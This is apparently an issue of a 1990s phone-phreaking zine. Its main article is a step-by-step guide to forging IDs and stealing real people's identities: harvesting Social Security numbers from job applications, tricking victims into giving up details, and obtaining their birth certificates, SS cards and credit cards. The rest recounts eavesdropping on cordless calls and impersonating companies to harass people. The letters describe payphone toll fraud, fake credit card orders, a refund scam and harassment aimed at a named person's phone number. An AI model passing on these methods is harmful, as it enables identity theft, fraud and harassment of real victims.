It's as easy as picking up your phone, dialing 1-800-345-SONG, picking a song, and sending "songmail" to anyone you choose -- anywhere in the USA. Plus it's very affordable, you can SEND-A-SONG at the very last minute, and you're guaranteed a unique gift they've never received before.

For a great gift idea, check out the SEND-A-SONG website at http://www.inf1.com/sendasong for full details, or simply call 1-800-345-SONG  (1-800-345-7664.)

cgn@ix.netcom.com (Send-A-Song)

Mastering The Art of False Identification

Every few weeks I get mail from somebody asking how to make a new identity for themselves. In most cases it's some punk kid wanting to buy alcohol for him and his friends and other times someone wants to be able to get a video card under a fake name to build up their Sega games collection.

And in two really interesting cases, I helped people escape their identities to get away from abusive siblings. The first was a guy asking how to help his two younger cousins get away from a step-father who beat the shit out of them every night. I never heard back from them. The second was a very abused wife wanting to get away from her husband. I went step by step with her through the whole thing and assume she made it.

Anyway, I just want turn all of this into a text file so when people ask me I can tell them to go read PLA043 and leave me the hell alone. You can use this information however you want. Get free videos, library books, jobs, lives,  beer, anything you want or just take over an innocent person's life. It's up to you. I've done all of the above, so trust me, this stuff works.

Choosing An Identity:

Before you do anything you should decide who you'd like to be. If you're going to do nothing more than run up a few video charges or buy some beer, it really shouldn't matter and you can just make up a bunch of info, but if you're going to assume a new name to live under or just want to pull off some really cool scams, you should put some work into it.

Try to find access to people's job applications or resumes. Most any job you work at will have people stopping in to drop off their job applications or maybe you work in an area where you can snag all the applications/resumes you want. Pick someone who's a little older and has built up some credit so that you can have fun ruining it.

Just make sure you get their full names, social security numbers and birth-dates. Applications usually don't have a birthdate written on them so you'll have to call up the person and get it out of them. The best way would be to say you're considering hiring them and you need it to start the paperwork.

Photocopied Drivers License:

This is the very first kind of fake ID I ever made and it's proven to be just about the most useful one, not to mention cheap. It may sound rather retarded at first but I swear this works great. You need to make a few copies of your own driver's license, then find some scissors, elmer's glue, a few toothpicks and some white-out.

Take one of the photocopies and lay it out on the table. This will be your master copy. You can probably figure out the rest from here but I'll explain it anyway. Using your extra photocopies, cut out the letters and paste them over your master copy, forming a completely new identity. Use the toothpicks to position the tiny pieces of paper into place so they're lined up perfectly.

Make sure that you change everything on the license including the license number, birthdate, address and any other numbers that you don't recognize. When you're finished, take the master copy to a photocopy machine and make a copy of it. If it's you can see little groves around each letter you cut out, make the copy lighter. If that doesn't work, use the white-out to touch up around the edges of the letters (on the copy you just made), then run THAT through the machine.

You can also do the exact same thing with a social security card but you're limited on the numbers and letters you can use. If you have a steady hand, though, you can kind of fill in the blanks for the characters you don't have.  Copy the driver's license and social security card onto the same piece of  paper and you're finished.

This kind of ID, as stupid as it may sound, could prove to be the most useful one you'll ever make. You can get a job under a different name, making it easy to cheat on your taxes or get a job that you're not old enough to have. You can also use this kind of ID to get library cards, video cards and sometimes even check cashing cards, very useful for cashing your free AT&T checks. Just tell them that you lost your originals when your wallet was stolen but you still have this old photocopy. Usually they won't even question it. You can NOT use this ID to buy alcohol or cigarettes and I've never managed to open a bank account with just a photocopy.

If you own a computer, you can save a little time by printing out the new name and info on the license, line by line, rather than doing all the cutting and pasting. Just make sure to match up the font and size as close as possible.  You might also try running your license through a scanner or faxing it to your computer so you can edit it on the screen, then print it out.

A Second Form of ID:

Some places will say that one piece of ID just isn't going to cut it and you need something else to convince them that you're who you say you are. Some places say that just a phone bill or a utility bill is enough, maybe an envelope that you received a bill in.

That's easy, find an envelope from an important sounding place that has a  canceled stamp on it. Now get a mailing label and write or print your false name and address on it and slap the label over the real name on the envelope.

Flea Markets & Souvineer Shops:

If you live in or by a larger city, chances are you have access to a flea market. These are usually held in the summer time and have booth set up for all kinds of odd things. In most of the flea markets I've been to, there's a booth set up that does all kinds of printing services which includes making fake IDs for "entertainment purposes."

These are good quality replicas of state IDs and drivers' licenses and all  they have to do to make them legal is make a few minor, barely noticeable changes on the face of the ID, such as discoloring the state logo or state name. Something that ordinary people won't notice. They're also not allowed to make IDs for the state they're operating in which means you'll have to settle for the state next to yours, or maybe just make yourself from Roy, New Mexico.

The price range varies. Sometimes it'll be $10, sometimes $40 but for the quality you're getting, almost anything is worth it. Also, call around to the souvineer shops. I've seen gone into plenty of these and seen teenagers getting IDs made up by the store clerks. Oh yeah, these IDs will have a tiny disclaimer on the back of them saying, "not a government document, for entertainment uses only, blah blah blah". Hardly noticable.

DMV Scams:

This is something I've never had the guts to try, but I've had a couple friends do it. One succeeded, one failed. The scam is simple - obtain a birth certificate, social security card and some other form of ID to trick the DMV into making you a real state-issued ID card.

The birth certificate and social security card are required and usually you need something else to back those two documents up. A couple DMVs that I've dealt with (for legitimate purposes) let me use a utility bill as my third ID. Some want something with a picture on it, such as a student ID card.

A friend of mine in South Carolina tried this and the lady said that the person he was trying to get an ID for already had a driver's license in South Carolina. He acted confused so she asked him to have a seat and she'd take care of it. Then she started making phone calls so he made his way out the door and never went there again. If you're going to do this, it's best to pick somebody out of state, then get a state ID card, not a driver's license.  This would lessen your chances of getting busted.

Some people say this is getting riskier as the years pass. Others say it's getting easier. I know that the DMV computers in Texas actually put your picture into the computer and it comes up when your record is accessed and I hardly think Texas is the most advanced state out there so be careful. It's probably not worth the trouble you'll get into to even try this, especially if you plan on doing something really bad with the ID.

Birth Certificates:

Once you have someone's full info, you might want to try and get their birth certificate. If you know which city and state they were born in, this shouldn't be too hard. Birth Certificates are public documents and anyone can get yours for a fee.

Contact the City Clerk in the city that your target was born in. Ask them what information you need to supply to get a copy of your birth certificate.  Usually they'll want the date of birth, FULL name, mother's madien name and the father's name. If you don't have the information they need, ask how you would get a copy of someone else's birth certificate.

Some cities are starting to tighten up a little and expect you to send in a state ID or driver's license to get someone else's copy. (They'll send it back with the copy.) So you're best off getting the person's information that you need. A few phone calls to the target should get you just about everything. The price is usually under $10 and takes about 4-6 weeks to arrive.

Social Security Cards:

Very little ID is needed to get a new copy of your social security card. Find the Social Security Administration in your town which should be listed in the yellow pages. Usually they only require that you have a driver's license but they'll almost always take something else instead, such as an canceled envelope with your current address on it or maybe a college ID card. It probably wouldn't be a good idea to use a photocopied driver's license and definately wouldn't be a good idea to show them your photocopied SS card.

When you get there you'll have to fill out a form which asks for alot of personal information about "you" such as your mom's name, madien name, and the usual shit. Make sure you don't make anything up because they'll be comparing what you write down to what's in their files. Of course, this is only good if you're taking over someone's identity, not making up your own.

There will be a small fee and your new SS card will be mailed to you so have an address ready, such as a local house who's mail is forwarded somewhere for you to pick up.

IDs on Your Computer:

With today's easily available software and hardware, making an ID on your computer has never been easier. Any kind of form creator program will work but Aldus/Adobe Pagemaker is undoubtedly the best. If you can get a GIF of yourself, you can even paste that into your ID document rather than physically pasting a picture onto your ID once you've printed it, making it look all the more professional looking.

Your computer is perfect for making a College ID from another state. If you can get your hands on a real college ID, you can copy the information from it to make it look even better. If you make the ID appear to be from a college somewhere other than where you're pulling off your shenanigan's, you'll be better off since it's unlikely that someone will try to say your ID is fake.

Laminators:

You can make your college ID look twice as realistic by having it laminated. You can buy a portable lamination machine from Office Max or Office Depot and sometimes from smaller chain stores. It will usually cost under $50 and when you're done with it, take it back for a refund. (of course)

If $50 is out of your leauge, you can buy lamination stickers which is usually an 8 1/2" x 11" clear sticker. You can cut this to the appropriate size and make your ID card appear to be perfectly laminated although it's not as hard as real lamination. These sheets go for only a few dollars at Wal-Mart & K-Mart.

Credit Cards:

If you've assumed the name of a person who might have good credit, it's time to build up your identity even more by sending away for some important looking credit cards.

Go through all your old junk mail and start filling out those credit applications. Go to the mall and in every big department store you'll find a credit application. JC Penny's, Sears, Famous Barr, Radio Shack, get them all. Most jewelry stores have them too. You may want to even try for instant credit.

Assuming that your new identity has good credit, you'll get a few credit cards in the mail in a week or two or three. Credit cards will make your identity look even better and if you score a Mastercard or Visa, you can go buy that new expensive laminating machine now. Oh yeah, some video stores want your credit card number just in case you check out a bunch of videos and decide not to bring them back. All they do is write down the number so it doesn't matter if your card is already maxed out or not.

PO Boxes:

Once you've made one of those photocopied state IDs, you should try to get a PO Box to send your new SS cards, credit cards, etc to. Don't feel bad if it doesn't work with just a photocopy. My success rate at the post office is about 50% with a photocopy ID. The post office will want to know what address you're currently living at. It's best to look up someone in the phone book that has the same last name as your identity because they usually verify what you tell them.

Libraries:

Minimal ID is usually needed for a library card. Some places have only asked me for a utility bill in my name, something you can find digging through the trash. Once I chose a random name out of the phone book very poorly. I was just about to score my library card and the librarian handed the information to another librarian so she could type up my card. She began typing and all of a sudden, "Hey, you're not Mr. xxxxx. This is my next door neighbor!" "No,"  I replied, "He must have the same name that I do. I'm Mr. xxxxx." "Hmmmmmm," she responds smartly, "And you live in his house too?" "Oh, er, ah, well," I stutter, "excuse me..." and I quickly make my way to freedom. Boy, those librarians sure are fierce.

Anyway, a library card can be very valuable. Most libraries now are all linked up via computer within certain districts. This means you can get a library card in one city and use it in most of the surrounding cities. One district had a limit of 15 books per location that we could check out but there were about 10 locations to choose from and in the end we had checked out 150 books total. The back of our car was dragging because of the weight.

Look for the books with titles like Frauds and Scams and How to Protect Yourself Against Ripoffs. Also look for the private detective books. These can be very valuable in aiding you to create a new identity. Most of them list the offices in each state to obtain public documents such as birth certificates and other useful information. And of course, steal all of the phone company books.

The End:

Well, that's it. It wasn't the most in-depth fake ID article, but it should give you an idea of where to start. I probably left a few things out because it's been so long since I've messed with this type of thing. Any ideas or suggestions are welcome.

PLA's Latest Adventures With Cordless Phones

Having no cable TV, limited internet access, no friends and a car we wouldn't trust to take us around the block gives us plenty of time to listen to cordless phone conversations. Here are some of the cooler ones that have happened lately.

We were at a friends' house (okay, well, I used to have one friend.) and I just happened to turn on the scanner when a guy was reading off all of his personal information including his name, address, phone number and creidt card number. I missed the name and address but that didn't matter. I wrote down his phone number. I would have written down the credit card number but I have no use for those because that would be credit card fraud and I just don't do that kind of stuff because it's bad and I'm not a bad person, you know? (pardon me, that was a discreet disclaimer for any feds reading this publication. sorry.)

Anyway, it turned out that he was ordering a magazine subscription over the phone - one of those hunter manly-type magazines or something. So they say their goodbyes and hang up. I immediately call him back and use my deep,  manly hunter voice.

ME:  Yes, this is John from the subscription office. I'm just calling back because we're having problems verifying your credit card number.

HIM: You mean it's not going through?

ME:  I mean we're having problems because you're a stupid shit for subscribing to a boring magazine like that so we're going to make you happier by changing the subscription to MAD magazine instead.

HIM: I-

ME:  Have a nice day. <click>

The poor guy must have taken the whole thing seriously because he called back the subscription office and started explaining that he really wanted the magazine he ordered. The lady who answered was the same lady who took his order and was baffled by his story. "We don't even sell Mad magazine here."

So they go on and on and on about how somebody must have tapped their office phones and somebody is listening in and getting everyone's credit card numbers and the guy is convinced that is must be one of those activists who are against hunting as a sport. I would have called him while he was talking to the lady but the idiot didn't have call waiting.

After he hangs up with her, he calls the phone company and explains his problem to her. She asks if maybe he has a cordless phone and he says yes but there's no way anybody could listen in because it's a special scrambled security phone. Actually, it was just a ten channel cordless phone that switches channels each time a new call is placed. All cordless phones try to make you feel safe by throwing those important sounding words on the box.

Finally he talks to an operator who explains to him how to use *69 and *57. After hanging up, he dials *69 and our phone begins to ring. (*67 doesn't block *69 around here.) Normally this wouldn't bother us - we just didn't answer the phone. But this guy sat there and let our phone ring for about fifteen minutes. Finally he stopped so I used OCI to call him collect, thinking that would make OCI the last number that called him and not ours.

But for some reason this didn't work and he dialed *69 again and let our phone ring for another 15 minutes. My friend didn't want to answer it and mess with him because it was his parents phone line. So, I took off in search of a pay phone so I could call the guy and my friends' number would be out of his *69. This was harder than it sounds because for almost the entire time I was out, he was letting our phone ring so I couldn't get through.

So finally I went back and the phone was still ringing. This was getting desperate - his parents were due home in an hour and wouldn't react kindly to this sort of thing. Finally, the ringing stopped while he called a friend.  After he called the friend, I managed to make an AT&T collect call to him which threw off his *69 this time. And we lived happily ever after. I still can't figure out why OCI didn't work at first.

------------

A lady calls GTE to tell them that when she's having problems connecting to her work's computer system with her laptop. GTE says they'll have to upgrade her line status which will cost an extra $6.50 a month. Gee, that sounds like a scam to me. My computer connects just fine here. Anyway, after she gets off the phone, of course I have to call her.

HER: Hello?

ME: Hi, this is Steve with GTE repair. I understand you're having some problems with your computer connections?

HER: (Begins to explain her problems to me...)

ME: Hmmmm, well, a line upgrade might not be neccessary. What brand of computer are you using?

HER: It's a Toshiba laptop.

ME: Ah! That's you're problem right there. We've had this before.

HER: What's that?

ME: A Toshiba. That's a fucking piece of shit of a computer you own. Throw the fucking thing in the god damned garbage can a buy yourself a new computer.

HER: (laughs) Well-

ME: <click>

She sits on the phone for a minute, then hangs up. Then she dials "0".

OPERATOR: GTE, may I help you?

HER: (sounds REALLY pissed) I need to talk to your supervisor.

OPERATOR: Please hold.

She ends up getting transfered to the billing office where she yells at the people there. They ask if she's on a cordless phone perhaps and she replies yes. The operator advises her to unplug her cordless phone and not to use it anymore. Right them she switches phones and I never hear from her again.

------------

I turned on the scanner and an old man was talking to some catalog company and ordering a jacket for his son-in-law. He read off his full information which included his Discover card and his son's information for shipping. After he hung up, I immediately called him:

HIM: Hello?

ME: Yes, this is Jim from the shipping department. We're having a little trouble with the jacket you ordered?

HIM: Yes?

ME: Well, you wanted the Dark Navy Teil and we seem to be out of that color so we're going to have to substitute it with Turquoise.

HIM: What color is that?

ME: It's kind of a day-glow blue color. Very pantsy-looking.

HIM: I don't think I'd want that color...

ME: Well, you don't have a choice. That's what we're shipping. (During all this I'm cracking up and I keep having to hold down the mute button so I can laugh.)

HIM: (muttering) Let's see what else you have here...

ME: No, I said we're sending you the pantsy color and that's what you're getting. We also don't have the 35" sleaves so you're going to have to settle for a 10". Sorry.

HIM: What?

ME: And this is also going to cost a little more on your Discover card. (At this point I slam down the phone because I'm laughing so hard.)

As soon as he realizes I've hung up, he calls back the catalog company and gives them his information and explains to them what just happened. The lady at the company doesn't know what to think and says she'll ask her supervisor and call back if there were any changes in the order. After that call, I call his son-in-law. He's not there so I get to talk to his wife instead.

ME: So this is Mrs. xxx?

HER: Yes it is.

ME: Well, your father just placed an order with us and we're out of the color he wanted so we just wanted to let you know that we've substituted it with a very girly-looking light blue color with yellow polka dots and this will only increase the charge on his Discover card by a mere $25.

HER: Yeah, right. (chuckles) I can tell you right now that my husband won't want that color.

ME: Well, it's not his decision, is it? His polka-dot coat will arrive there sometime before January 21st. Thank you for ordering with us. <click>

About this time, the old man calls up his daughter and they swap stories and think that this is really all kind of strange. The old man calls the catalog company once again to tell them his new story. They have no clue and tell him that his order hasn't been touched. Unfortunately, this is a very calm old man and he doesn't yell or anything which made it quite boring.

After awhile he stops using the phone and I get really bored. I remember that the first time he called, he told the lady he was shipping it to his daughter's house because he was going on a vacation in Hawaii. So I called him again:

HIM: Hello.

ME: Yes, this is Kahoona Jim from the Hawaii Chamber of Commerce. I understand that you're planning on vacationing down here in a few weeks?

HIM: Yes, I am.

ME: Well, I'm just calling to inform you that we don't want you here and not to come to Hawaii. Maybe you could vacation in Kansas instead.

HIM: No, I've already bought plane tickets to Hawaii.

ME: Well, you're gonna have to get a refund on those. You're not welcome here.

HIM: Why not?

ME: Because you might interfere with the hoola girls dancing or something.

HIM: (starts giving me an old man laugh) Well, I'm commin' anyway.

ME: Well, I'll just have my supervisor meet you at the airport and tell you to go home! <click>

Phone Losers of America Headline News

Fun At Home With Wrong Numbers - Mike Royko (RoyCo??)

Feb 1, 1984 Celina Daily Standard

Some people are angered by wrong numbers. They bellow and slam the phone down as if the caller did it on purpose. Not me. I make the best of wrong numbers,  and sometimes they can be fun.

For example, there are the little children whose parents let them play with phones. It happens to everyone. Your phone rings and you say hello and you hear a childish voice say: "Hawwo, who dish?"

You can just ang up and be done with it. But I prefer to drop my voice to it's lowest pitch, then make a loud, menacing growling sound. As often as not,  I'll hear the phone rattle on the floor and the sound of a terrified child running away and screaming for its mother.

I'm not being cruel. If anything I'm helping parents of that child lower their phone bill. Then there was the man who dialed my home number one night, and when my son answered the phone, mumbled, "Lemme talk to Delia." My son politely said, "What number do you want?" The man mumbled an obscenity and hung up.

A minute later, the phone rang again. I picked it up. It was the same guy. He mumbled, "Lemme talk to Delia." Now, had he been polite the first time, I would have told him that he was dialing the wrong number. Instead, I snarled, "What do you want with Delia, bub?"

That woke him up and he yelled, "Who the hell are you?" Actually, his language was much stronger. So I said, "Never mind that. Who are you?" He said  "Hey, I'm Delia's boyfriend."

I said, "Hold on." then I yelled, so he could hear me, "Hey Delia, there's some klutz on the phone who says he's your boyfriend." I waited a moment, then said, "Delia says she don't want to talk to any klutz."

He began shouting and swearing both and me and Delia. So I interrupted and said, "Take my advice, pal. Delia is too good for a no-good, low-life bum like you, so you better straighten out your act or you're going to be aced out."

Then I hung up. He never called back so I assume he accepted my couseling and now he and Delia probably have a much more stable relationship.

Which brings me to my most recent wrong number. This morning my office phone rang and when I answered, a woman began speaking in a crisp, businesslike manner. She said she was with a Los Angeles firm tat does corporate research and wanted to ask me some questions about corporate policies at this company.

"Are you the comptroller at your corporation?" she asked.

"No."

"Oh, I asked your switchboard for the comptroller's office."

"Maybe he's not around."

"I see. Well, could you answer my questions?"

"Sure, why not. As long as they don't have to do with corporate secrets."

"No, I don't think they will"

"Okay."

"All right. Now, how many employees does your company have?"

"Oh, we've got lots of them."

"Lots?"

"Sure, lots and lots. We've got them all over the palce. You should see it."

"Could you be more specific in terms of numbers of employees?"

"Well, that's hard to do. We really don't count them because they're always moving around. It's hard to make a headcount. But we've got thousands of them, I can tell you that."

"Are there more than 5,000?"

"Are you kidding? We've probably got 10 times that many. I mean, this is no ma and pa grocery store, you know."

"I see. Well, can I ask you about your policy on corporate credit cards?"

"No credit cards. No sirree."

"Why is that?"

"Listen, you start giving people credit cards and how do you know what they're going to buy with them? First thing you know, they're buying expensive gifts for their girlfriends. Perfume. Jewelry. Eating in French restaurants. Some people are weak."

"Well, do your employees travel?"

"Some do, some don't. Depends on if they're going somewhere."

"How do you handle payment for travel without creidt cards?"

"We give them a few bucks cash and tell them: ' When that runs out, get your ass back here.'"

"I see. Well, that's an interesting policy."

"I think so."

"Could I have your name please?"

I give her my name.

"And what is your title?"

"Uh, we don't go in for all those traditional corporate titles."

"Well, are you the chief executive officer?"

"I really don't like to use that title."

"What title do you use?"

"Well, they call me the Big Heat."

"The Big Heat?"

"Yep. Got it on my office door. Looks real good."

"The Big Heat."

"Yeah. Or just plain Heat for short."

"Well, I've never heard of corporate titles like those before."

"I guess the trend hasn't reached California yet."

"I guess not. Well, thanks you. Good-bye."

"By-dee-bye."

When she submits her report I'm sure it will create a stir at her firm. And I wouldn't be surprised if we soon start reading stories in the financial pages about corporate boards in California naming some executives to the post of Big Heat. When that happens, remember where it started.

------------

Woman Convicted of Harassing Judge

taken from Celina's Daily Standard, Monday, January 6, 1997

AKRON, Ohio (AP) - A State Highway Patrol dispatcher convicted of harassing a judge who dismissed her lawsuit against a medical insurer will be sentenced in April.

Gina Calvaruso, 39, of Akron, pleaded guilty in December to theft in office, vandalism and three counts of forgery. Calvaruso, free on $5,000 bond, will be sentenced April 29 in Summit County Common Pleas Court.

Springfield Township Police arrested Calvaruso, a dispatcher at the patrol's Akron post, and charged her with harassment for vandalizing Common Pleas Judge Michael Callahan's campaign signs and sending magazine subscriptions to his home. Police also said Calvaruso filled out a change-of-address form that rerouted Callahan's mail to the home of a child mollester he had sentenced.

The harassment began after Callahan dismissed a lawsuit Ms. Calvaruso filed against an insurance company that refused to pay her medical bills, police said. She faces five years in prison and a $12,500 fine.

------------

Thieves Targeting High-Tech Insides of Pay Phones - Daily Standard, 1-10-97

Telephones Contain Expensive Computer Boards and Chips

CLEVELAND (AP) - A new target for thieves is the pay telephone, but not for the quarters. They are after computer chips, the smarts of some phones' operating systems. "In the last two years, it's really become a problem," said Vince Sandusky, president of the American Public Communications Council, which represents pay telephone companies.

The trend became clear in Cleveland during December. Jerry Burger, president of AmeriCall, said crooks ripped open 18 of his phones in three days, setting the company back about $60,000. "That's going to kill our profit for the year," he said Thursday.

Burger called his competitors and found that about 100 pay telephones throughout Cleveland have been wrecked by thieves seeking computer chips, he said. The thieves simply pry off the front of the phone, pull out the computer board and can slide it into a pocket.

The phones involved are not simple coin boxes. In the world of the pay telephone, Sandusky said, there are two types: dumb phones and smart phones.  Dumb phones, the kind used by major phone companies, contain no expensive technology. They are controlled by computers in phone company offices.

Smart phones, however, are used by smaller businesses that specialize in pay telephones. Each phone contains a microprocessor similar to the motherboard of a personal computer. Computer chips allow the phones to track a variety of information, such as the amount of money collected, and transmitt it to the phone's owner.

Burger speculated that the chips are being exported to other countries, where the pay telephone industry is growing. Burger said developing nations had been advertising on the Internet for pay phone computer chips and technicians to install them.

Sandusky said the guts of pay phones would have little appeal to most people. They are designed to operate telephones and nothing more, he said. The loses have been crippling to pay phone companies, many of which are small. Sandusky's group represents 1,546 companies, which own about 300,000 phones.

In the old days, thieves struck pay phones to get the money. But Sandusky said the computer chips cost $250 to more than $600 per phone, which is far more valuable than the $40 or $50 the pay phones can hold.

Letters

I feel baaaaaaaaaaaaaaad.  Ok, maybe not.  Anyway, can I join pla based solely on the merit that my nads are as big as cannonballs?  Sorry, I think I'm hallucinating again.  My cat got hit by a car or something.

Wood Puppy

------------

Yesterday me and my friend Dave decided to just Harrass this guy who thinks we are his uncle bob all day long. Well we did this, so after awhile he took the phone off the hook. So the oci lady asked us if we had another number in mind, so I decided to give her 860-528-5460. This number belongs to a Wannabe Latin Gangsta named Mark. He has a collect call block on his phone. Well guess what?? The call went through!

So anyway he doesn't accept, so I wonder how the call went through. So I call  OCI again and ask to make a collect call to a number which is always busy. The op askes for another number, I give her mark's. Once again I get through the collect call block. Now I hang up, and dial another collect call service. 1-800-FUCK-MCI I dial. I put his number in, "Sorry this number does not accept collect calls".

So I think I found another trick for OCI. You give them any old number to get you in, then ask them to dial a number with collect call block and it goes through.

Warren

[And holy jesus, it works! Good job. Now nobody is safe.]

------------

Mr. RedBoxChilliPepper, i must say that you are an idle for me. I appreciate all the work you have put into your web page, and all the pla zines are great!  I just hope that you dont stop making them, because that would be a waste of a great talent. Anywayz, i just wanted to say that i am glad that the pla exsits, and this would be a dull world without it...one last q... who the hell is Chris Tomkinson?

thanks,

Jamie D

[blushing...]

-----------

As a former sheriff's investigator & private investigator, I have found your site to be the best of its kind on the internet.  If you want something to work on, try figuring a way to access the DMV records of any of the states.  After all, it is hardly 'fair' that most of them are available only to law enforcement and private investigative agencies.

RCS

[I always assumed that dmv records were available to anyone who could pay the fee. Maybe it varies from state to state. I know that some gas stations can call up the dmv and request info on a license plate because of a gas drive off. I've done this in the past several times to get dmv info.]

-----------

hey...how's it going. I checked out that issue on Dino and the Dino soundbites. Needless to say I laughed my ass of. What a redneck loser.  Anyway, I love that Intel faxback service thing you had in PLAO42...do you have any more faxback numbers like that? Or any other relatively simple things you can do you fuck people over with just a phone? We're new to this, sorry if our naivity is annoying...but man, this is just too much fun...thanks...

Classwar

[I'm glad that the whole world is having a great laugh at the expense of Dino. About the fax-back numbers, the response for those has been great and I've got about 20 fax-back numbers now. The first 10 I received are listed in the PLA96WIN phone directory, located on our web site or from me by e-mail. ]

----------

[The following is several letters and replies from an 806 phreak named intergalactic. Seems there might be a frightening twist to red boxing these days...]

I've been redboxing for a long time without incident. Now, in just this last month, i've had to chuck 2 redboxes and outrun a Southwestern Bell truck! Two of my friends have had simular problems. What gives?? Some new technology i'm not privy to? or are they just wising up?

[Are you sure that SWB was after you or were they just driving by? Remember, SWB really has no authority. They can't arrest you or search you unless they have a policeman with them. If you have anymore details on this, let me know.]

Okay, I have some new info on this. First of all, I should have told you that this truck that chased me wasn't a typical SWB vehicle. It was a small red truck (kinda like a chevy s-10 or something). It has the words "Anti-Theft Division" on the sides, right under the SWB logo. Definetly something new to this area (806).

The truck pulled up about five minutes after I boxed the call. The guy got out of the truck and started walking up to me. He was about 20 yards away, and I had about a 30 yard stretch to an alley that I'm familiar with. So I hung up and started to walk in the other direction. He got back in his truck and drove right up to me, and I just broke the fuck out and ran. He yelled something, but I wasn't exactly paying much attention.

After having a conversation with a few of my friends, we figured out that all of these incidents have occured within the same 4-block area (near the college campus). Three times from the same fone!! Could it be possible that certain fones are watched more carefully than others? I boxed from a fone just outside of town for a few hours this afternoon, and nothing happened. I'll keep you up to date.

[A few emails later...]

Using the ultimate in hacking/phreaking skills (namely digging thru a trashcan) I was able to find an inter-office memo at the SWB office. Apparently, I was correct in assuming that the fone co is watching some payfones more carefully than others, and that, yes, they CAN detect a redbox. According to this memo, all local operators are being advised to "watch their screens" when assisting with a long distance call originating from within the local NPA.

When boxing a local call in this area, you always go thru a real live operator. I did a little social engineering and I discovered how they were detecting the box. The operator has a little screen in front of him/her that shows the number being called, the number of the payfone, the amount of money in the fone, and (here's the kicker) the amount of coins in the hopper. If the amount of money in the fone is greater than the coins in the hopper, they send that damn little red truck. A brief meeting with my friends seems to verify this info. All of our troubles have occurred while boxing local calls!

[One thing - have you figured out yet if they have the authority to arrest you or will they just come up and  say, "Hey, cut that out!"]

Well, according to local police, it seems that these "Anti-Theft" personel have the same "powers" that a private security guard would have. I think all that means is that they can lawfully detain you untill a real cop shows up. I don't know if a cop has ever come with one of those red trucks, as I never stuck around to see.

[I was thinking - you and a friend should go to a pay phone, box a local call, have your friend leave with  the red box and any other questionable devices you have on you, then sit there and talk to the local person. Would be interesting to see what the Bell Task Force would do if you didn't have a red box on you.]

I tried your idea. Damn near got arrested, but not for the box. The first two times we tried, nothin' happened (sleepy operators??). Friday night, however, I boxed the call and my friend took off with the incriminating device. Shortly thereafter, the Bellboys showed up, but it wasn't the same truck. It was a normal one. The guy gets out, walks straight up to me, grabs the fone and hangs it up, and tells me "you're busted!" To this replied I, "Fuck you!" I went to walk away and he grabs me, instigating a small scuffle.

Sure enough, a cop pulled up. After the cop broke us up, the Bell guy told him I was attempting to "defraud" a pay fone. Cop searched me and found nothing. The cop asked the bellboy exactly how i was "defrauding" a pay fone. He said he didn't know. I started laughing 'cause it seemed pretty obvious that i was in the clear, and this Bell guy started talking shit.

So what can we learn from this? Well, it seems that the operators and the field guys aren't communicating too well. Also, some operators aren't hip to the box, and it seems that short of getting caught redbox in hand, there isn't much they can do.

BTW, my friend that had the box was in the parking lot in his car. He told me he snapped a shot on his cheap camera when me and that Bell guy were scrappin' so if the pic comes out good, i'll be damn sure to scan it and send it to you!

----------

PLA,

The fax-back numbers in your Winter 96 directory were great. Now I don't even have to work very hard to torture my teachers, I just dial a few fax-back numbers every few hours and that keeps them busy all night. I've even written a script in my Telix that dials all the 800 numbers, options and phone numbers for me. I'm so fucking lazy, ain't I?

-The Faxinator

------------

man i love you where are all the tits

i love the tits

could you talk abbout tits and boobs and hooters in your next issue

i was fifteen and i went out with a twelve year old it was my first date

ever i got dumped a short while latter

please make fun of me in future issues

its the only thing that would cheer me up

the worst part is none if this is being made up

oh lord tAKE MY LIFE MAKE ME DIE

Nicole

-----------

Hi, I'd just like you to know that apok0lamer is a bastard. Sorry, I'm not bitter or anything.  Just a lowly computational physics major who wants to show him an experiment in molecular ocillation theory when my foot collides with his ass.  Ok, maybe that WAS bitter.

Chris Hitchcock

------------

don't forget going into #cybersex / #netsex / #gayphonesex / whatever and asking them to call you collect for hot phone sex at 412 748 4504 (victims number, who i hate) at odd hours in the morning, that way several (if you do it well, lots) of collecct calls not from you to the person...well just an idea i had, later..and awesome page :)

darc

------------

hi there, I read your idea's on how to drive someone crazy and quite a kick out of it, and got a few idea's. I felt I should share one I like.  This can only be done at small flower shops that dont verify Credit Card  number's right away.Send someone a bunch of flower's, and they are not cheap! have a card saying from "whoever" I like to sign it short hair, third row.

Anyway then just rattle of 12 number's 0-9 and claim it a visa. they usually only charge cards 1-3 time's a week but will send the flower's out right away. when they try to charge the card it will of-course come up "invalid" the only lead they have to getting thier money, is go back to the house they sent the flower's to. In the couple time's I've done it, the flower shop got a little fierce, and the person had to pay. $50 is pretty easy to spend on flower's but its a set-back to just give up $50.

Like I say the list you made was great, c-ya,

Jason P

[I'm glad you got some good use out of the list. However, I don't know where you're from but I don't know any flower shop that will just take 12 random numbers as a credit card. Then, I've never tried it. 1-800-FLOWERS is an easy target.]

----------

Hey, whats up?  I just wanted to let you know of a little thing I do to Scam the evil Wal-Mart.  All you have to do is go into thier fish department with a plastic bag and go into the Bathroom and get some water in it.  Then go to the Fish Dept. and grab one of thier expensive fish when nobody is looking. Then, just go to the customer service desk and get real bitchy with them telling them that when you took it home it killed all the rest of your fish.  Tell them that you no longer want this fish and get a refund for it.  They will also give you a $10 Wal-Mart gift Certificate for thier store (I think it's some sort of policy because I have done this 3 times and everytime I get $10, when I ask for $20 they tell me that for that they have to talk to a manager, so I just settle for a $10 G.C).  All you need is a plastic bag and you can walk out with $15 dollars cash and a $10 Gift Certificate.

Brian R.

[Their fish cost $15??]

Miscellaneous:

One time,  when red  boxing,  after hanging up, the phone rang back... i knew what it was... i still had some money oweing on the call.  Anyways,  i let it ring three times, then picked it up, and said in a startled voice, "hello?"  "BC Tel operator here. You have xx dollars oweing on your call."  I said,  "Well, i  just got here, but there was a little old lady here  before me, and she  is running away from the payfone  faster than i have  ever seen a lady of her age and stature run before!" -MasterMiiND on alt.2600

RBCP -  It seems that your little HiV  prank   and Kevin  Christmas pranks, along with the  pranks on CDS have been taken really seriously..CDS's Wade  Fjeld  has hired an investigator on the PLA.  This is a formal warning,not just a flap. -anonyms

What  do  you mean  why New Mexico?  Haven't  you  ever heard of  Roy,  New Mexico?  The  mecca  of  mollestors?  The paradise of pedophiles?  The haven  of  hamsters who hurt?  -bbs post by el_jefe

Attn:  It  has just come to the attention  of  the  PLA that our arch enemy,  Chris Tomkinson,is still a Virgin.

